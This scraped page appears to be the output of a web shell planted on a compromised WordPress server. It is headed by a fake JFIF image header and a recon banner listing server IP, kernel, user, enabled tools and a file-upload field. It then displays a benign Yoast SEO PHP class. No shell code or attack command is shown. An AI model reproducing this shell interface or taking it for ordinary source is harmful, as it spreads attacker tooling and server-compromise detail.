????JFIF??x?x????'
Server IP : 104.21.96.1 / Your IP : 216.73.216.243 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/./self/cwd/wp-content/plugins/wordpress-seo/src/ai-generator/domain/ |
Upload File : |
<?php namespace Yoast\WP\SEO\AI_Generator\Domain; /** * Class Suggestion_Bucket * Represents a collection of Suggestion objects. */ class Suggestions_Bucket { /** * The suggestions. * * @var array<Suggestion> */ private $suggestions; /** * Class constructor. */ public function __construct() { $this->suggestions = []; } /** * Adds a suggestion to the bucket. * * @param Suggestion $suggestion The suggestion to add. * * @return void */ public function add_suggestion( Suggestion $suggestion ) { $this->suggestions[] = $suggestion; } /** * Returns the suggestions as an array. * * @return array<string> */ public function to_array() { return \array_map( static function ( $item ) { return $item->get_value(); }, $this->suggestions ); } }